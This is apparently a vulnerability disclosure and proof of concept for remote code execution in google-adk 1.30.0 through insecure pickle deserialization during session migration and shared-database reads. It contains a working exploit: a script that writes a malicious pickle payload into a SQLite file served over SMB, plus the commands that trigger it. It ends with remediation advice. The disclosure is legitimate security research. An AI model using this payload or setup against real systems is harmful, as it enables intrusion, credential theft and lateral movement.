google-adk - Version 1.30.0 / Remote Code Execution (RCE) via Insecure Deserialization
Below are one (1) way to reproduce RCE in Agent Development Kit (ADK) using an SMB share controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.
For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).
Note: While this vulnerability is specifically verified and reported on version 1.30.0, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.
Introduction
The google-adk (Agent Development Kit) is a Python framework designed to accelerate the development, testing, and deployment of agentic AI workflows. It provides high-level abstractions for managing agent sessions, orchestrating interactions between Large Language Models (LLMs) and external tools, and keeping persistent event logs across cloud databases like Spanner, MySQL, and SQLite.
As AI agents transition into production, the reliability of state migration and data-tier components becomes a critical security boundary. Vulnerabilities allowing unauthenticated code execution within these core frameworks put high-value developer workstations, MLOps automation pipelines, and Vertex AI backend integrations at direct risk of compromise.
Vulnerability description
The vulnerable code in google/adk/sessions/migration/migrate_from_sqlalchemy_pickle.py:
The _row_to_event function is used during the migration from legacy v0 schemas. It extracts the actions column from the database and, if it is a bytes object (common in SQLite/MySQL), it calls pickle.loads() without any validation of the source's trustworthiness.
def _row_to_event(row: dict) -> Event:
...
actions_val = row.get("actions")
...
if isinstance(actions_val, bytes):
actions = pickle.loads(actions_val)
Technical Impact Analysis
Project Purpose & Context
google-adk is a framework designed to accelerate the development of agentic AI workflows. It provides high-level abstractions for managing long-running agent sessions, persistent event logging, and state synchronization across multiple platforms. It is widely used by developers to orchestrate interactions between Large Language Models (LLMs) and external tools, making it a critical hub for both data and execution control in modern AI applications.
Platform & Deployment Environment
The ADK is typically deployed in:
- Developer Workstations: For prototyping and local testing of AI agents.
- AI Backend Services: Integrated into Vertex AI or custom cloud deployments to manage agent states.
- Automation Pipelines: Running as part of CI/CD or MLOps workflows to validate agent behavior during migration or retraining phases.
Comprehensive Risk Assessment
The identified vulnerabilities are rated as CRITICAL. By leveraging remote database URIs and shared state poisoning, attackers can systematically bypass the "self-command-injection" boundary.
- Vector #1 (Migration): Allows an attacker to pivot from a malicious remote data source (e.g., an attacker-controlled SQLite file served via SMB) to full RCE on the device performing the migration.
- Vector #2 (Shared State): Enables lateral movement and persistent compromise within infrastructure where multiple agents share the same backend database (Spanner/MySQL). Any authenticated read of the "poisoned" events will trigger the exploit.
Attack Scenario
Who wants to exploit a particular vulnerability?
Adversaries targeting AI development infrastructure, including corporate spies seeking to exfiltrate proprietary agent logic/prompts, or actors looking to hijack developer credentials (AWS/GCP/SSH keys) stored on the same workstations.
For what gain?
The primary gain is Zero-Interaction RCE on high-value targets (AI developers). Secondary gains include lateral movement into cloud environments where the agents are deployed and long-term persistence within the organization's AI lifecycle management.
In what way?
The attack is orchestrated by exploiting the trust in remote data sources:
- Malicious Migration Guides: Tricking a developer into "migrating" from a demonstration or "publicly available" legacy database hosted on an attacker-controlled SMB share or cloud-hosted DB.
- Shared Database Poisoning: Injecting malicious pickles into shared Spanner/MySQL instances through low-privileged components, which later execute in the context of high-privileged administrative tools or UI servers.
Reproduction steps
On the Raspberry (attacker)
kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
Shared Resource Configuration (SMB):
1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y.
2. Prepare the attack directory:
mkdir ~/lab_attack
chmod 755 /home/kw0
chmod -R 777 ~/lab_attack
3. Configure Samba: Add to the end of /etc/samba/smb.conf:
[lab_share]
path = /home/kw0/lab_attack
read only = no
guest ok = yes
4. Payload Generation on the Raspberry: Run the specialized setup_db.py script to generate the malicious.db file directly in the shared path:
import sqlite3
import os
# CONFIGURACIÓN DE RUTA ÚNICA
DB_PATH = '/home/kw0/lab_attack/malicious.db'
# Asegurar que el directorio existe
os.makedirs(os.path.dirname(DB_PATH), exist_ok=True)
# Borrar DB previa para asegurar limpieza total
if os.path.exists(DB_PATH):
os.remove(DB_PATH)
# Payload binario verificado para Windows
payload = b"\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c#__import__('os').system('calc.exe')\x94\x85\x94R\x94."
# CONECTAR USANDO LA RUTA DEFINIDA
conn = sqlite3.connect(DB_PATH)
cur = conn.cursor()
# Esquema v0 COMPLETO
cur.execute("CREATE TABLE sessions (app_name TEXT, user_id TEXT, id TEXT, state TEXT DEFAULT '{}', create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, update_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (app_name, user_id, id))")
cur.execute("CREATE TABLE events (id TEXT PRIMARY KEY, actions BLOB, app_name TEXT, user_id TEXT, session_id TEXT, timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP)")
# Inyectar datos
cur.execute("INSERT INTO sessions (app_name, user_id, id) VALUES (?, ?, ?)", ("default_app", "user_1", "session_1"))
cur.execute("INSERT INTO events (id, actions, app_name, user_id, session_id) VALUES (?, ?, ?, ?, ?)", ("event_666", payload, "default_app", "user_1", "session_1"))
conn.commit()
conn.close()
print(f"[+] Archivo {DB_PATH} generado con éxito.")
python setup_db.py
On Windows (victim)
PS L:\Pickle-RCE-Finder\PYPI-adk-python> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
Technical Requirements:
• Create a Python environment: python -m venv .venv.
• Activate the environment: .venv\Scripts\activate.
• Install google-adk: pip install google-adk.
Exploit Execution:
net use Z: \\192.168.1.90\lab_share /persistent:no
1. Launch deserialization:
adk migrate session --source_db_url "sqlite:///Z:/malicious.db" --dest_db_url "sqlite:///local_migration.db"
Other RCE vectors in Agent Development Kit (ADK) remotely controlled by an attacker
Persistent RCE via Shared State Poisoning (SQLAlchemy)
Technical Detail
- Component/File:
google/adk/sessions/schemas/v0.py - Method/Function:
DynamicPickleType.process_result_value() - Sink/Primitive:
pickle.loads(value) - Control Point: The
actionscolumn in theeventsdatabase table (MySQL/Spanner dialects).
Analysis & Impact
In versions of ADK using the v0 schema, the actions data is stored as a pickled object in MySQL or Spanner. SQLAlchemy automatically unpickles this data upon every read operation thanks to the TypeDecorator implementation.
Reversing the Context: This is a Lateral Movement vector. If an attacker can achieve a standard SQL injection in any application using this schema, or gain partial unauthorized access to a shared Spanner instance, they can "poison" the state. Any backend component (e.g., a high-privileged worker, an analytics tool, or another user's session) that later reads this event will execute the payload.
WARNING: This turns a "Data Integrity" issue into a "Total System Takeover". Shared databases become an RCE transmission vector within the infrastructure.
Exploit Scenario
- Setup: Attacker identifies a component with low-privileged SQL write permission (e.g., a logging agent or a compromised sidecar).
- Trigger: Attacker updates an existing record in the
actionscolumn with a malicious pickle blob. - Impact: An administrator with higher privileges opens the "ADK Web UI" to review sessions. The web server calls
session_service.list_sessions(), loads the events, and triggerspickle.loads(). - Result: The web server is compromised, allowing the attacker to steal all session tokens or access sensitive API keys used by the UI.
Systemic Impact & Infrastructure Risk (Code)
In google/adk/sessions/schemas/v0.py, the DynamicPickleType handles automatic deserialization when reading from MySQL or Spanner:
def process_result_value(self, value, dialect):
"""Ensures the raw bytes from the database are unpickled back into a Python object."""
if value is not None:
if dialect.name in ("spanner+spanner", "mysql"):
return pickle.loads(value)
- Persistence: The exploit remains in the DB and triggers on every read, making it extremely difficult to clear without full DB purging.
- Privilege Escalation: Moves from a DB-access context to a Full-Account-Takeover context on the host running the SDK.
Executive Summary: RCE via Insecure Deserialization in google-adk
The research identifies a critical Remote Code Execution (RCE) vulnerability in google-adk (version 1.30.0) resulting from the insecure use of pickle for deserializing database content during session migrations and state retrieval.
- Root Cause: The
_row_to_eventfunction andDynamicPickleType.process_result_value()method automatically triggerpickle.loads()onactionsdata retrieved from SQLite, MySQL, or Spanner databases without any cryptographic or source validation. - Exploitation Mechanism: Attackers can inject a malicious pickled payload into the
actionsblob of the database. This triggers automatic code execution when the library reads the poisoned record, either during a migration process (Vector #1) or during standard application runtime operations (Vector #2).
Analysis of Scope and Security Implications
This vulnerability is of critical severity, as it enables "Zero-Interaction" RCE by turning legitimate data-loading patterns into exploitation sinks.
1. Infection Scenarios
- Migration Poisoning: An attacker can provide a "public" legacy database file (e.g., via an SMB share) that, when "migrated" by a developer using the
adk migratecommand, executes malicious code on the developer’s workstation. - Shared State Poisoning: In production environments using shared databases (MySQL/Spanner), an attacker with low-privileged write access can poison the
actionscolumn. Any high-privileged service or UI server that reads this event will automatically trigger the exploit, facilitating privilege escalation and lateral movement.
2. Factors Exacerbating Risk
- Implicit Deserialization: The
DynamicPickleTypeimplementation ingoogle/adk/sessions/schemas/v0.pymakes deserialization transparent and automatic, meaning the vulnerability is triggered by standard database read operations, bypassing developer awareness. - High-Value Target:
google-adkis used for orchestrating LLM agent workflows, which often involve sensitive proprietary prompts, agent logic, and cloud authentication tokens, all of which become exfiltrable upon successful compromise.
Conclusion and Recommendation
This is a critical-severity vulnerability. The reliance on pickle for database-backed serialization makes google-adk a potent vector for environment-wide compromise.
Suggested actions for the development team:
- Eliminate Pickle: Deprecate the use of
picklefor database serialization. Transition to secure, non-executable formats likeJSONorProtobuffor all stored event data. - Implement Integrity Validation: If binary blobs must be stored, implement mandatory cryptographic signatures (e.g.,
HMAC) to ensure data hasn't been tampered with before deserialization. - Path/Source Restrictions: Restrict migration sources to trusted, local paths and implement strict permissions for database access to prevent unauthorized state poisoning.